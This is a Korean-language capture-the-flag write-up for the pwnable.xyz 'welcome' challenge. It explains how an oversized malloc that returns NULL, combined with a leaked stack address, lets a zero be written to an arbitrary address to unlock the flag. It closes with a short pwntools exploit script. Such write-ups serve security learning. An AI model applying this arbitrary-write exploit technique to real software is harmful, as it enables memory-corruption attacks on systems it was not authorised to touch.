https://pwnable.xyz/challenges/
분석
첫 문제는 welcome 서버가 다운되었어서 플래그를 제출하진 못했으나 이젠 된다.
처음 checksec을 했는데 너무나 무서운 상대
그리고 처음 보는 FORTIFY..
메모리 버퍼에서 bof가 발생하는 것을 잡는다고 하는데 뭔지는 잘 모르겠다.
풀이
size[1]은 canary가 있을 곳이고
leak: %p 부분에서 v3의 주소를 알려주는데 아무래도 스택 영역의 주소이다.
그리고 size에 값을 입력받고 입력받은 사이즈만큼 malloc 한다.
size는 unsigned int이고.. 문제를 푸는데 중요한 건 malloc 함수의 특성이었다.
일단 그렇게 size만큼 할당받은 부분에 read를 한다.
혹시몰라 null도 넣어주고
write 함수로 출력하고
만약 v3의 값이 0이면 flag를 읽는다.
그래서 목표는 v3의 값을 0으로 만드는 것이다.
0으로 만든다 .. 생각해보면 사용할 만한건 v4[size[0] -1] = 0; 부분이었다..
read함수로는 뭐.. v4에 원하는 주소를 할당할 수 없으니.
근데 아무리 생각해도 안 되는거 같았는데
된다.
read 함수에 있지도 않는 주소를 쓰면 바로 에러가 날 거 같았는데 아니었나보다.
malloc 함수는 할당 가능한 엄청나게 큰 값을 할당하면 null(0)을 반환한다.
그리고 그걸 생각해보면 size[0]에 leak한 v3주소+1을 넣으면 (v4가 char *이므로)
0인 v4 주소로부터 v3 주소에 0이라는 값을 넣을 수 있다.
from pwn import *
p = process('./challenge')
#p = remote('svc.pwnable.xyz', 30000)
e = ELF('./challenge')
p.recvuntil('Leak: ')
v3_addr = int(p.recvn(14), 16)
log.success('v3_addr: '+hex(v3_addr))
p.recvuntil(': ')
p.sendline(str(v3_addr+1))
p.sendline('')
p.interactive()
아니 0이라는 주소에 (read로) 절 대 못 쓸 줄
알았는데..?